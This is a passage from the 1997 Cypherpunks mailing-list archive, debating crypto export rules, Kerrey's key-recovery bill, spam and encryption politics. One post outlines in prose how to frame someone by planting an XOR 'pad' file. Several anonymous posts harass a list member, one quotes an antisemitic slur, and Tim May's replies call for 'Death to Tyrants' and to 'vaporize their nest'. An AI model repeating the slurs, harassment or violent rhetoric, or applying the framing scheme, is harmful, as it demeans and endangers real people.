streaming that encrypted video over the net to some secure (possibly
anonymous) storage place, then not only do criminals have a tougher time
comitting crimes against your person and property, but so too does
government. In addition, with such a system, there's nothing to keep a
private cop or detective from appearing at the scene of the crime, probably
at much less cost than that of a government one. Heck, the purchase of the
cop's or detective's time could occur on a cash-settled auction market, for
that matter.  Paid by private crime insurance, of course. :-). Once again,
information technology reduces government to the functional equivalent of
ceremony, following monarchy down the road to mere decoration and, lately,
occassional entertainment.


Now, I agree that just waiting around for all this to mysteriously appear
won't make it happen any faster. The faster the technology is built,
deployed, and most important, made profitable, the better. And, these days,
all this statist encroachment on our freedom feels, very debatably, like
being a Jew on Krystallnacht waiting for the Americans to win the war
already. But, this technology *is* going to happen, and, while
nation-states aren't going to go down without fighting for their
institutional lives, they *have* lost. Hopefully, the sooner they know
they've lost, the sooner they'll give up, join the human race, and get on
with building the future.


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 9 May 1997 19:02:01 +0800
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Cyclic codes
Message-ID: <199705091047.MAA04212@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Timmy May sells his dead relatives as fertilizer as 
they constitute the best shit in California.

         <<<<
        o(0-0)o
     -ooO-(_) Ooo-- Timmy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <00043.an@edtec.com>
Date: Sat, 10 May 1997 01:13:53 +0800
To: <cypherpunks@algebra.com>
Subject: One-Time Pads as Attack Method
Message-ID: <9705091650.AA19981@future.atlcom.net>
MIME-Version: 1.0
Content-Type: text/plain



1. Agents of the Enemy wish to create the appearance of you possessing
document A.
2. They obtain some artifact you have emailed, or posted, or possess on
your private local storage. ---
Possibly even signed.  Call this message B.
3. They create the XOR of A and B, the result being a 'one time pad' C.
which of course, gives:
private message B XOR C = target bogus message A.  This result is of course
not a one time pad;
the plan is to accuse you of possessing materials that prove you are
trading with the enemy,
exchanging kiddie-porn, any of the usual things.
4. This 'one time pad' file C. somehow finds its way into your possession:
it is an email attachment,
embedded in some binary --- it could even be stego'ed into a GIF/JPG.
5. The agents break down the door and seize all your effects.  
6. They are able to prove that you possess B and C, the XOR of which is A.,
a fact that is impossible
to have happened at random.
7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
by accident are 0,
then you must be guilty.

I'm only looking at the general schema of an attack like this: I'm sure
there are many ways
the right defense could be mounted about how the files got on the client's
computer, etc.etc.

The interesting part of this frame-job is using something you may have
already publicly posted,
making denial of its origin difficult, together with a surreptitious
planting of the 'pad' data.

Naturally the incriminating data payload could be delivered directly,
without the OTP business.
But I thought it might be worth examining the implications of this theme.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 10 May 1997 01:50:47 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <FPRF7D57w165w@bwalk.dm.com>
Message-ID: <97May9.132052edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


One simple question: where is the property right to a socket and mailbox.

If Wallace has the right to fill my computer with unwanted data, then I
have the same right toward his.  If it is an act of free speech to send
some commercial solicitation for something I would never want, it is hard
not to maintain that an ARP packet isn't covered by the same theory.

It costs me something to filter out spam, and will cost him something to
filter out counterspam of whatever sort.  The NSP may be in the no-man's
land between the trenches, but they are providing the connection and can
tell him to look elsewhere or charge a premium for the extra traffic.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Sat, 10 May 1997 03:13:45 +0800
To: Will Rodger <cypherpunks@toad.com
Subject: Re: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>
Message-ID: <v03007804af9928766aa6@[172.17.1.61]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:22 AM -0400 5/9/97, Will Rodger wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 10:39 PM 5/8/97 +0000, Rick Smith wrote:
>>These "new" regulations "to be issued" are scrambling to catch up with
>>previous and current practices. It doesn't change things at all.
>
>I disagree. Here's why:
>
>New regs unquestionably do change things for US banks. Right
>now banks may export nothing stronger than unescrowed DES. Period.

Interesting. That's inconsistent with what was said in the NRC crypto
policy report. The report stated or at least implied that any commercial
crypto equipment could be exported for sale to a financial institution,
though it had to get an export license. (sorry for imprecision, I don't
have my copy handy).

You seem to be suggesting that the licenses were consistently denied or
permanently delayed for stronger crypto. I can believe it -- a bureacracy
can hide lots of unwritten rules behind a poorly documented licensing
procedure. I personally don't know of an example of stronger crypto being
exported to an overseas financial institution.

However, you're probably right in saying this is a big improvement for
commercial software doing strictly financial crypto. If the BXA produces
similar rules to those they recently drafted, then some types of products
will indeed be easier to export. OpenMarket et al took a risk when they
took on the bureacracy to try to get an export license based on what looked
like an acceptable practice. I agree it must have been an ugly process to
go through, and would be vastly improved by explicit regulation.

Rick.
smith@securecomputing.com      secure computing corporation






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 10 May 1997 02:24:10 +0800
To: rodger@worldnet.att.net (Will Rodger)
Subject: Re: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>
Message-ID: <199705091759.NAA00667@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Will Rodger wrote:
| 
| It's worth noting, too, that banks and consumer software companies
| will soon export things like PC banking software with minima| l delay. 

	Netscape is PC banking software.

	SSL is the banks encryption tool of choice because it saves
you from having to write or support custom software.

	Claiming that this helps a retail operation is newspeak.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 05:52:00 +0800
To: cypherpunks@algebra.com
Subject: Security flaw in key recovery -- you're looking at it
Message-ID: <199705092134.OAA05967@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


[This is only a test.  If I had been in a bad mood, this message would
have contained the private key of the CEO of a major Entrust customer,
obtained from an Entrust trusted "key safe" server.  Who am I?  Can 
Entrust or its customer's officers finger me?]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian C. Lane" <nexus@eskimo.com>
Date: Sat, 10 May 1997 15:25:49 +0800
To: geeman <NOSPAM-geeman@best.com>
Subject: Re: Camera Hacking
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <Pine.LNX.3.96.970509154412.965B-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 1 May 1997, geeman wrote:

> have an effect on people's behavior with respect to what they say, whom
> they associate with, 
> the clothes they wear, the thoughts they think...
> 
> How do you hack a camera?

  Splatball (paintball) gun should do the trick.

    Brian

---------------------------------------------------------------------------
    Nexus Computing     | Hardware and Software Design
 www.eskimo.com/~nexus  | Motorola, Microchip and Linux solutions
---------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 10 May 1997 04:13:40 +0800
To: cypherpunks@toad.com
Subject: Admin Feigns Back Off On Crypto Bill
Message-ID: <1.5.4.32.19970509195541.0090c6d0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


News report today:

   Reinsch told reporters that strategy will be to follow advice
   he has been given and not to circulate Administration draft
   bill. Issue is so polarized, he said, that that bill would be
   dismissed quickly, and some of its content that lawmakers
   might want to adopt also would be rejected because it came
   from Administration. Reinsch said it's close call, and
   Administration is reevaluating its tactics constantly. 

This seems to coordinate with Kerrey's initiative to lump
all crypto bills into one "acceptable to the leadership
and the White House."

   http://jya.com/backoff.htm

BTW, another report claims that proposed new regs will allow 
banks the special privilege of strong crypto if they come up 
with an acceptable KMI within two years.

This seems to be what Kerrey means when he says NSA's
Crowell is working with industry to develop an acceptable
KMI along the lines of what government is preparing for
its own use.

All interests to be subservient to the Number One interest?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 08:21:27 +0800
To: cypherpunks@cyberpass.net
Subject: How many of HOTMAIL's 3,000,000 users want SSL???
Message-ID: <199705100010.RAA16139@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Please consider writing your corporacongressmyn and explaining to them
briefly, yet <politely> your concern about packet sniffers.  Hotmail's
market is exploding and they just might need a way to distinguish
themselves from their competitor American Express (usa.net=netaddress.com)
during the next year, even while they continue living on the edge with
weak push/advertising revenue.  Send no money, but these people deserve
our support:

 comments@hotmail.com       "New features you would like to see or
                            general comments about Hotmail."

Or,

 support@hotmail.com        "Assistance with using Hotmail's features or
                            technical difficulties with your account."

Remember, it just takes A MINUTE to...

 "contact Hotmail by phone: 408.222.7000 -- 10:00 am to 6:00 pm Pacific Time"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Loren James Rittle <rittle@comm.mot.com>
Date: Sat, 10 May 1997 06:46:57 +0800
To: cypherpunks@cyberpass.net
Subject: FreeBSD 2.2.1 on CDROM is shipping out of the U.S.A. with full DES
Message-ID: <9705092233.AA07855@supra.rsch.comm.mot.com>
MIME-Version: 1.0
Content-Type: text/plain


FYI,

I hope it is not premature but people are starting to take advantage
of the wonderful Patel ruling in the Bernstein v U.S. Department of
Justice case.  Cool!

Loren

From: "Jordan K. Hubbard" <jkh@FreeBSD.org>
Newsgroups: comp.unix.bsd.freebsd.misc
Subject: Re: FreeBSD 2.2.1 on CDROM
Date: Wed, 07 May 1997 17:48:51 -0700
Organization: Walnut Creek CDROM
Message-ID: <337122F3.167EB0E7@FreeBSD.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 2.2-STABLE i386)
To: tonyg@OntheNet.com.au

Tony Griffiths wrote:
> I just received the 2.2.1 disk yesterday and it contains the DES stuff
> which has been missing on all previous disks I have received!

That's because it's now legal for us to export it.

An S.F. district judge recently ruled that exporting encryption is
legal, at least within her jurisdiction, and so our lawyer has OK'd our
taking advantage of this fact [that we fall geographically within her
sphere of influence] to export crypto.  I have always *wanted* to do
this, since shipping "crippled" CDs in order that I might export them
was abhorent to me, and now I can.

This also means that the unpacked CVS repository on SNAPshot CDs contain
full sources for des, kerberos etc and so forth and you can actually
_use_ the repository to check out a complete, unadulterated version of
FreeBSD at any release version from 2.0 onwards.

-- 
- Jordan Hubbard
  FreeBSD core team / Walnut Creek CDROM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 10:44:25 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Bill of Goods, from The Netly News Network
In-Reply-To: <v03007805af99743aebb7@[168.161.105.191]>
Message-ID: <v03007800af9998986ef4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:42 PM -0800 5/9/97, Declan McCullagh wrote:
>************
>
>http://pathfinder.com/netly/editorial/0,1012,931,00.html
>
>The Netly News Network
>http://netlynews.com/
>May 9, 1997
>
>Bill of Goods
>by Declan McCullagh (declan@well.com)
...
>     It's diabolical. Researchers already have to
>comply with a legion of rules to qualify for grants.
>Kerrey's proposed bill, called "The Secure Public
>Network Act," would add yet another provision to the
...
>     But the real question is: Why does Kerrey think
>this rat-bastard bill has any chance of passing
>through Congress, especially when there's already
>legislation that would generally relax controls on
>crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
>bill already has 86 cosponsors and shot out of
>subcommittee last week. Sen. Conrad Burns' (R-Mont.)
>"Pro-CODE" bill is headed for markup next month.
>
>     The answer is simple: this a trading chit that
>the White House and the Democratic leadership can play
>to water down the Burns and Goodlatte bills, and
>perhaps meld all three together.
>House party line: "The President has put forward a
>plan which in good faith attempts to balance our
>nation's interests in commerce, security, and law
>enforcement."

My hearty congratulations to Declan for this strong stance against the
Kerrey treason. I'm glad to see his strong criticism of it, and his
accurate speculation that a "grand compromise" with the criminals is likely.

I doubt one of his employers, "Time," will use his analysis...much too
radical for their get along/go along policy.

As for the fucking bureacrats, the Founding Fathers had it exactly right:

"Death to Tyrants!"


(Sadly, in these last decades of the American Nation, the scum will view
this as a "threat." Fuck em. Better, vaporize their nest.)

--Tim May, still a felon under their treasonous laws



There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Sat, 10 May 1997 07:46:14 +0800
To: cypherpunks@toad.com
Subject: Encryption defined
Message-ID: <Pine.LNX.3.94.970509191915.19758I-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain


Online at http://www.wired.com/news/politics/story/3760.html

  [arrow]  ... And That's What Encryption Is
           by Wired News Staff

           2:58pm  9.May.97.PDT It's rare to get a glimpse of the lawmaking
           mind as it churns policy. But with the help of an unnamed
           Washington reporter, the public got a look at how two Democratic
           senators who want to pass a new law on how encryption should be
           used and regulated think about the issue.

           The setting was an informal daily get-together with reporters
           sponsored by Senate Minority Leader Tom Daschle of South Dakota.
           On Thursday, Senator Bob Kerrey of Nebraska was on hand to
           announce he is sponsoring a cryptography-control bill. We pick
           up the proceedings with a reporter's question to the senators:

           How would you define encryption?

           Daschle: Encryption is the - and Senator Kerrey can do a lot
           better job than I can - but my definition of encryption is to
           create a code by which sensitive information can be protected on
           the Internet....

           Kerrey: Well, I mean, to answer your question, I mean,
           encryption is - the political equivalent of encryption is you
           ask me a question, I give you an answer and you don't understand
           it. I mean, I intentionally garble the answer frequently. I
           intentionally garble the response so that you can't understand
           what I'm saying.

           And that's - you notice that I've got the ability to do that. I
           don't always do that, but that's what occurs with digital
           communication. The message is scrambled in a way that is very
           difficult to unscramble. And depending upon the power of your
           computer, you in fact may not be able to unscramble it at all.

Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 10 May 1997 01:43:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: El Gamal
In-Reply-To: <v03007801af9848d58988@[207.167.93.63]>
Message-ID: <199705091728.TAA12492@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Vulis wrote re ElGamal:
>
> Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?


Because Sameer's competition already hired him.  Get a clue...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 10 May 1997 10:05:47 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Certified primes
In-Reply-To: <199705100047.UAA16220@dhp.com>
Message-ID: <Pine.A41.3.95.970509195106.21928A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, lucifer Anonymous Remailer wrote:

Please can you stop this spam from your site.

> As `homo' as he might be, Timmy May is not of the 
> species `Homo Sapiens', but rather `Papio Mephitis'. 
> Unlike human beings, he has not descended from apes --- 
> yet.
> 
>   o-:^>___? Timmy May
>   `~~c--^c'
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 08:46:29 +0800
To: cypherpunks@toad.com
Subject: Re: El Gamal
In-Reply-To: <199705091728.TAA12492@basement.replay.com>
Message-ID: <P6og7D61w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@REPLAY.COM (Anonymous) writes:

> Vulis wrote re ElGamal:
> >
> > Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?
>
> Because Sameer's competition already hired him.  Get a clue...

Okidata is competing with Sameer?

After failing as an ISP and as a web server vendor, Sameer decided
to switch to peddling printers?

Or is Sameer diversifying into Usenet newsreaders with no killfiles?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 10 May 1997 09:05:31 +0800
To: cypherpunks@toad.com
Subject: Bill of Goods, from The Netly News Network
Message-ID: <v03007805af99743aebb7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



************

http://pathfinder.com/netly/editorial/0,1012,931,00.html

The Netly News Network
http://netlynews.com/
May 9, 1997

Bill of Goods
by Declan McCullagh (declan@well.com)

     Senate Democrats are preparing legislation that
requires universities and other groups receiving
Federal grants to make their communication networks
snoopable by the government, The Netly News has
learned. The draft also includes penalties for
"unauthorized breaking of another's encryption codes,"
and restrictions on importing encryption products.

     At a Democratic leadership press briefing, Sen.
Bob Kerrey (D-Neb.) yesterday said his bill slightly
relaxed export rules in exchange for greater federal
control over crypto imports. But what he appears to be
truly aiming for is a full-scale assault on your right
to use whatever encryption software you want in your
own home.

     Academics are indignant over the strings attached
to grants. "This is outrageous," says Dave Farber, a
university professor at the University of Pennsylvania
and an EFF board member. "It's going to generate
roaring screams on campus. If you look at Internet II,
if you look at the Next Generation Internet, if you
look at campus networks -- all those have components
of federal funds."

     It's diabolical. Researchers already have to
comply with a legion of rules to qualify for grants.
Kerrey's proposed bill, called "The Secure Public
Network Act," would add yet another provision to the
fine print. It requires that "all encryption software
purchased with federal funds shall be software based
on a system of key recovery" and "all encrypted
networks established with the use of federal funds
shall use encryption based on a system of key
recovery." Key recovery, or key escrow, technology
enables law-enforcement officials to obtain copies of
the mathematical keys needed to decipher messages. In
other words, someone else keeps a copy of your secret
key -- and some proposed bills say that the cops may
not even need a search warrant to seize it.

     And not just universities will be jump-starting
the market for domestic key escrow. Organizations from
defense contractors to the United States Institute of
Peace to the American Red Cross receive federal
monies.

     "This is out-and-out industrial policy," says Jim
Lucier of Americans for Tax Reform. "It's going to
affect every technology there is for doing business on
the Net."

     What about the penalties for "unauthorized
breaking of another's encryption codes?" That would
criminalize cryptanalysis, the way to verify the
security of encryption software you buy. "The only way
to know the strength of a cipher is cryptanalysis,"
says Marc Briceno, a cryptography guru at Community
ConneXion.

     Then there's Kerrey's statement saying "there
will be" restrictions on what encryption products
you're permitted to buy from overseas firms. This
contradicts Justice Department official Michael Vatis,
who told me at a conference this year that the Clinton
administration did not want import controls. Though
Cabe Franklin, spokesperson for Trusted Information
Systems, says Kerrey was misunderstood. "In the
briefing afterwards, I found out he didn't mean that
at all. He meant import controls, but more regulation
than restriction. The same way they wouldn't let a car
with faulty steering controls in the country. He meant
more quality control," Franklin says. (I don't know
about you, but I'm not convinced.)

     But the real question is: Why does Kerrey think
this rat-bastard bill has any chance of passing
through Congress, especially when there's already
legislation that would generally relax controls on
crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
bill already has 86 cosponsors and shot out of
subcommittee last week. Sen. Conrad Burns' (R-Mont.)
"Pro-CODE" bill is headed for markup next month.

     The answer is simple: this a trading chit that
the White House and the Democratic leadership can play
to water down the Burns and Goodlatte bills, and
perhaps meld all three together.

     The Democratic strategy makes sense. Members of
Congress are driven by a fierce, desperate urge to
compromise. The drive is primal: legislators are
compelled to find a middle ground. But to their
chagrin, crypto doesn't offer one. Either you keep a
copy of the electronic keys to your files or someone
else does -- which is exactly what the White House
wants. Either you're free to speak privately over the
Net using PGP, or you're not -- which is exactly what
the White House also wants.

     This may seem like a lot of high-powered
attention on an obscure subject; after all, encryption
does nothing more than scramble, verify and reassemble
bits of information. Besides ensuring that your
messages are private, encryption provides the
protocols for scrambling credit card numbers and
minting electronic coins. It allows digital
signatures, proofs of identity online, digital time
stamps and even secure electronic voting. It lets
anonymous remailers exist. It supplies the foundation
and steel girders for an information society.

     Kerrey's sudden interest in cryptologic arcana
likely stems from a recent addition to his staff:
policy aide Chris McLean.

     McLean is hardly a friend of the Net. While in
former Sen. Jim Exon's (D-Neb.) office, McLean drafted
the notorious Communications Decency Act and went on
to prompt Exon to derail "Pro-CODE" pro-encryption
legislation last fall. Then, not long after McLean
moved to his current job, his new boss stood up on the
Senate floor and bashed Pro-CODE in favor of the White
House party line: "The President has put forward a
plan which in good faith attempts to balance our
nation's interests in commerce, security, and law
enforcement."

     Now, more ominously, McLean just might be Bill
Clinton's appointee to fill a vacant slot at the
Federal Communications Commission. If you think the
White House is out to slam the Net, imagine what the
FCC could do...  

###


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 10 May 1997 09:01:28 +0800
To: cypherpunks@toad.com
Subject: Certified primes
Message-ID: <199705100047.UAA16220@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


As `homo' as he might be, Timmy May is not of the 
species `Homo Sapiens', but rather `Papio Mephitis'. 
Unlike human beings, he has not descended from apes --- 
yet.

  o-:^>___? Timmy May
  `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 12:05:45 +0800
To: Ray Arachelian <osborne@gateway.grumman.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <v03007800af99ae300ca9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:

>Filtering isn't the point.  Just as you have the right to free speech,
>you also have the right to ignore someone else's speech as it is aimed at
>you.  If you don't want Cyberspammo to spam you, they should honor your
>request to take their crap elsewhere.

Much as it pains me to dispute my usual ideological ally Ray A., the "they
should honor your request" is problematic.

If by this Ray means "as decent human beings they should," then, well,
perhaps so.

If, however, Ray means "they should, or something should be done," then, of
course, we disagree.

(If Ray means something in between, then he should say more about what he
means.)

Fact is, so long as anybody is free to send a message to someone else, then
what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in the
sense of not breaking any laws. Whether tasteful or not, legit.

>The problem I have with them is that while they do say "Send email here
>to never be spammed again" it doesn't work.  They don't honor the
>deletion requests.  You wind up on some other dweeb's spam queue also
>from cyberspam. :(

Indeed, saying you don't "want" more advertisements is, for all practical
purposes, saying "Send me more!!!!"

So?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 10 May 1997 12:21:09 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Bill of Goods, from The Netly News Network
In-Reply-To: <v03007800af9998986ef4@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970509204137.4502C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks, Tim. I've decided I should ditch the Time Magazine style I think
of as "high analysis" and return to more opinionated writing. I feel
better about the latter, and I think it's more interesting to read. That's
what I was doing at HotWired; I've been experimenting more at Netly.

BTW, there may be some hope on the "encryption to further a crime" 
provisions of SAFE. Folks, I'd keep up the pressure. Contact yer
representatives, etc. Especially if they're on House Judiciary.

-Declan


On Fri, 9 May 1997, Tim May wrote:

> At 4:42 PM -0800 5/9/97, Declan McCullagh wrote:
> >************
> >
> >http://pathfinder.com/netly/editorial/0,1012,931,00.html
> >
> >The Netly News Network
> >http://netlynews.com/
> >May 9, 1997
> >
> >Bill of Goods
> >by Declan McCullagh (declan@well.com)
> ....
> >     It's diabolical. Researchers already have to
> >comply with a legion of rules to qualify for grants.
> >Kerrey's proposed bill, called "The Secure Public
> >Network Act," would add yet another provision to the
> ....
> >     But the real question is: Why does Kerrey think
> >this rat-bastard bill has any chance of passing
> >through Congress, especially when there's already
> >legislation that would generally relax controls on
> >crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
> >bill already has 86 cosponsors and shot out of
> >subcommittee last week. Sen. Conrad Burns' (R-Mont.)
> >"Pro-CODE" bill is headed for markup next month.
> >
> >     The answer is simple: this a trading chit that
> >the White House and the Democratic leadership can play
> >to water down the Burns and Goodlatte bills, and
> >perhaps meld all three together.
> >House party line: "The President has put forward a
> >plan which in good faith attempts to balance our
> >nation's interests in commerce, security, and law
> >enforcement."
> 
> My hearty congratulations to Declan for this strong stance against the
> Kerrey treason. I'm glad to see his strong criticism of it, and his
> accurate speculation that a "grand compromise" with the criminals is likely.
> 
> I doubt one of his employers, "Time," will use his analysis...much too
> radical for their get along/go along policy.
> 
> As for the fucking bureacrats, the Founding Fathers had it exactly right:
> 
> "Death to Tyrants!"
> 
> 
> (Sadly, in these last decades of the American Nation, the scum will view
> this as a "threat." Fuck em. Better, vaporize their nest.)
> 
> --Tim May, still a felon under their treasonous laws
> 
> 
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 12:26:02 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Bill of Goods, from The Netly News Network
In-Reply-To: <v03007800af9998986ef4@[207.167.93.63]>
Message-ID: <v03007800af99b3274d0e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:54 PM -0800 5/9/97, Declan McCullagh wrote:
>Thanks, Tim. I've decided I should ditch the Time Magazine style I think
>of as "high analysis" and return to more opinionated writing. I feel
>better about the latter, and I think it's more interesting to read. That's
>what I was doing at HotWired; I've been experimenting more at Netly.

I sympathize with your situation, such as I understand it. (I was gone from
Intel by 1986, long before public issues became so common, long before the
Net was as influential as today. No doubt, were I still at Intel, or
elsewhere, I would be constrained in what I would be allowed to write
about.)

Writing for "Time" or "Newsweek" will work for only a very few folks. Levy,
for example, does a quite reasonable job for "Newsweek"..but, then, he went
to "Newsweek" with a long history of Net contributions (notably, "Hackers,"
of course) and writes in his own style.

(I'm not sure who writes for "Time," as I no longer read any of the
newsweeklies, or dailies. Last I looked, it was Elmer-Dewitt who ran the
show.)

Frankly, I'm not sure there's any reasonable amount of money to be made in
journalism these days, for various reasons I won't get into right now.

A war is coming (arguably, the opening shots have already been fired) and
the newsweeklies are a poor place for anyone with actual principles.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 10 May 1997 12:39:54 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <v0302098baf98c132e204@[139.167.130.248]>
Message-ID: <v03007801af99b5b4e673@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
>--- begin forwarded text
>
>
